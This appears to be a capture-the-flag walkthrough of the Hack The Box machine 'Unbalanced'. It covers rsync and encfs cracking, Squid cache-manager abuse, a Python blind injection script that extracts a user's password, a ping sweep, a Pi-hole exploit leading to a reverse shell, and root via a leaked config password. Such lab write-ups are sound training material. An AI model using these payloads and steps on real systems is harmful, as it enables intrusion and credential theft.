$ nmap -oN nmap.tcp.initial --min-rate 5000 -p- -v 10.10.10.200
PORT STATE SERVICE
22/tcp open ssh
873/tcp open rsync
3128/tcp open squid-http
$ nmap -oN nmap.tcp.unbalanced -p 22,873,3128 -sC -sV -T4 10.10.10.200
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA)
| 256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA)
|_ 256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519)
873/tcp open rsync (protocol version 31)
3128/tcp open http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PART 2 : PORT ENUMERATION
rsync seems to be open on port 873 and checking if there are any shared folders:
There is a shared folder named, conf_backups, which based on the description is probably an encrypted file share but it contains config files so some sort of credentials might be lying around somewhere.
There are a lot of files but it still needs to be decrypted. One way to do this is by using encfs2john:
Now that the files have been decrypted, the directory looks like this:
Since the files are now readable, we can begin searching for interesting information:
There is a password explicitly written in the Squid Proxy config file. This makes sense being the name of the box is Unbalanced so this must be about a misconfigured load balancer or something as there is an http proxy setup at port 3128.
What was also listed beside the cachemgr_passwd password are the options we could explore in the Squid Proxy Cache Manager.
I wrote a simple python script in order to explore the cache manager:
And now checking what we could do and get:
There are three things interesting hereβββintranet.unbalanced.htb (172.17.0.1), intranet-host2.unbalanced.htb (172.31.179.2), and intranet-host3.unbalanced.htb (172.31.179.3).
Opening intranet.unbalanced.htb after setting up my proxy (Foxy Proxy) leads me to:
Figure 1. Proxy Settings
Figure 2. Intranet Landing Page (/intranet.php)
Examining the reponse headers using curl:
The internal load balancer will either bring you to intranet-host2 or intranet-host3 which contains a login form and a contact form which doesnβt seem to do anything when you submit entries or fail to login.
But then youβll notice something missingβ¦β what happened to intranet-host1? Since host2 is at 172.31.179.2 and host3 is at 172.31.179.3, maybe itβs at 172.31.179.1.
And it does exist but this time, when you go to /intranet.php and try to login, an error message now appears which was not apparent in the other hosted applications.
PART 3 : EXPLOITATION
After testing a simple SQL injection payload like ' or '1'='1, the form seems to be vulnerable as it returns a list of users and their respective roles. It is important to note that the form rejects capital letters so ' OR '1'='1 will not work. Comment characters also seem to be rejected.
Figure 4. User list
Since we have an error message and given the limitations of the form, maybe it could be leveraged to extract passwords for the listed users. Iβll focus on bryan since he has the role of System Administrator.
I wrote another python script for this:
Checking to see if the password works:
Figure 5. Successful login as bryan
And it does!
PART 4 : GENERATE USER SHELL (bryan)
PART 5 : PRIVILEGE ESCALATION (bryan β root)
Examining the TODO file in bryanβs home directory:
The file basically confirms the path to user where intranet-host1 is being troubleshooted but the important thing here is that there is a Pi-hole service running but is only available locally. It uses a temporary password so itβs probably insecure and new credentials may probably be found in the configuration script being created as of the moment.
Checking to see what we can connect to locally:
There is an error when trying to access the service running at port 8080 locally but according to this Reddit thread, it seems like you can go directly to /admin/.
The Pi-hole service can now be reached! However, itβs running via docker so I decided to look for an IP it might be running from and maybe access it via Squid Proxy. Looking back into the file, squid.conf:
Access to the IP range 172.16.0.0/12 (172.16.0.0 β 172.31.255.255) is allowed via the proxy and checking the interfaces available to the machine, I decided to do a ping sweep in the IP range, 172.31.0.1/16.
Aside from the previous intranet hosts, there is a new host identified --172.31.11.3. Trying to access it via Squid Proxy leads you to:
Figure 6. Pi-hole Landing Page
Now going to the login page, and remembering that a temporary password is set for the admin account, I tried "admin" and it went through but there is not much to do so I search also for an exploit for the current version of Pi-hole being run.
Figure 7. Pi-hole Login Page
Figure 8. Pi-hole Admin Panel
Figure 9. Pi-hole Version
Looking for exploits:
Setting up the exploitβββI forwarded the locally available service inside the machine since HTTP proxies are very unreliable when establishing reverse shells afterwhich I setup a listener via netcat in my machine:
Then I ran the exploit:
Going back to the listener:
The /root directory is readable and in there is the Pi-hole config file mentioned earlier. A new password is visible and maybe this could be used to su to root:
$ python3 squid.py menu | grep protected
menu Cache Manager Menu protected
pconn Persistent Connection Utilization Histograms protected
mem Memory Utilization protected
diskd DISKD Stats protected
fqdncache FQDN Cache Stats and Contents protected
filedescriptors Process Filedescriptor Allocation protected
objects All Cache Objects protected
vm_objects In-Memory and In-Transit Objects protected
counters Traffic and Resource Counters protected
5min 5 Minute Average of Counters protected
60min 60 Minute Average of Counters protected
histograms Full Histogram Counts protected
cbdata Callback Data Registry Contents protected
sbuf String-Buffer statistics protected
events Event Queue protected
$ python3 squid.py fqdncache
[...OMITTED...]
Address Flg TTL Cnt Hostnames
127.0.1.1 H -001 2 unbalanced.htb unbalanced
::1 H -001 3 localhost ip6-localhost ip6-loopback
172.31.179.2 H -001 1 intranet-host2.unbalanced.htb
172.31.179.3 H -001 1 intranet-host3.unbalanced.htb
127.0.0.1 H -001 1 localhost
172.17.0.1 H -001 1 intranet.unbalanced.htb
ff02::1 H -001 1 ip6-allnodes
ff02::2 H -001 1 ip6-allrouters
$ curl -I --proxy "http://10.10.10.200:3128" http://172.17.0.1
HTTP/1.1 302 Found
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 05 Dec 2020 22:12:03 GMT
Content-Type: text/html; charset=UTF-8
Location: intranet.php
Intranet-Host: intranet-host3.unbalanced.htb
X-Cache: MISS from unbalanced
X-Cache-Lookup: MISS from unbalanced:3128
Via: 1.1 unbalanced (squid/4.6)
Connection: keep-alive
$ curl -I --proxy "http://10.10.10.200:3128" http://172.31.179.1
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 05 Dec 2020 22:38:45 GMT
Content-Type: text/html; charset=UTF-8
Intranet-Host: intranet-host1.unbalanced.htb
X-Cache: MISS from unbalanced
X-Cache-Lookup: MISS from unbalanced:3128
Via: 1.1 unbalanced (squid/4.6)
Connection: keep-alive
$ curl --proxy "http://10.10.10.200:3128" http://172.31.179.1
Host temporarily taken out of load balancing for security maintenance.
import requests as r
target = "http://172.31.179.1/intranet.php"
proxy = { "http": "http://10.10.10.200:3128" }
char_set = "abcdefghihjklmnopqrstuvwxyz0123456789!@$%^&*()=_+,./<>?:"
password = ""
while True:
for i in char_set:
payload = {
"Username": "bryan",
"Password": "' or substring(Password,{},1)='{}' or '".format(len(password)+1, i)
}
res = r.post(target, proxies=proxy, data=payload)
if "[email protected]" in res.text:
password += i
print(password)
break
if i == char_set[-1]: break
$ ssh -l bryan 10.10.10.200
The authenticity of host '10.10.10.200 (10.10.10.200)' can\'t be established.
ECDSA key fingerprint is SHA256:aiHhPmnhyt434Qvr9CpJRZOmU7m1R1LI29c11na1obY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.200' (ECDSA) to the list of known hosts.
[email protected]\'s password: ireallyl0vebubblegum!!!
bryan@unbalanced:~$ ls -la
-rw-r--r-- 1 bryan bryan 798 Jun 17 11:35 TODO
-rw-r--r-- 1 root root 33 Dec 5 14:18 user.txt
bryan@unbalanced:~$ cat TODO
############
# Intranet #
############
* Install new intranet-host3 docker [DONE]
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
* Test intranet-host3 [DONE]
* Add intranet-host3 to load balancer [DONE]
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]
###########
# Pi-hole #
###########
* Install Pi-hole docker (only listening on 127.0.0.1) [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO]
bryan@unbalanced:~$ ip a | grep "inet "
inet 127.0.0.1/8 scope host lo
inet 10.10.10.200/24 brd 10.10.10.255 scope global ens160
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
inet 172.31.0.1/16 brd 172.31.255.255 scope global br-742fc4eb92b1
bryan@unbalanced:~$ for x in {1..254}; do for y in {1..254}; do (ping -c1 172.31.$x.$y 2>/dev/null | grep "bytes from" &); done; done
64 bytes from 172.31.11.3: icmp_seq=1 ttl=64 time=0.248 ms
64 bytes from 172.31.179.2: icmp_seq=1 ttl=64 time=0.175 ms
64 bytes from 172.31.179.3: icmp_seq=1 ttl=64 time=0.148 ms
64 bytes from 172.31.179.1: icmp_seq=1 ttl=64 time=0.122 ms
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ hostname
pihole.unbalanced.htb
$ cd /root
$ ls -l
-rw-r--r-- 1 root root 113876 Sep 20 2019 ph_install.sh
-rw-r--r-- 1 root root 485 Apr 6 2020 pihole_config.sh
$ cat pihole_config.sh
#!/bin/bash
# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb
# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c
# Add local host record
/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb 127.0.0.1
# Set privacy level
/usr/local/bin/pihole -a -l 4
# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'
# Set admin email
/usr/local/bin/pihole -a email [email protected]
bryan@unbalanced:~$ su -
Password: bUbBl3gUm$43v3Ry0n3!
root@unbalanced:~# id
uid=0(root) gid=0(root) groups=0(root)
root@unbalanced:~# ls -l
-rw------- 1 root root 33 Dec 5 14:18 root.txt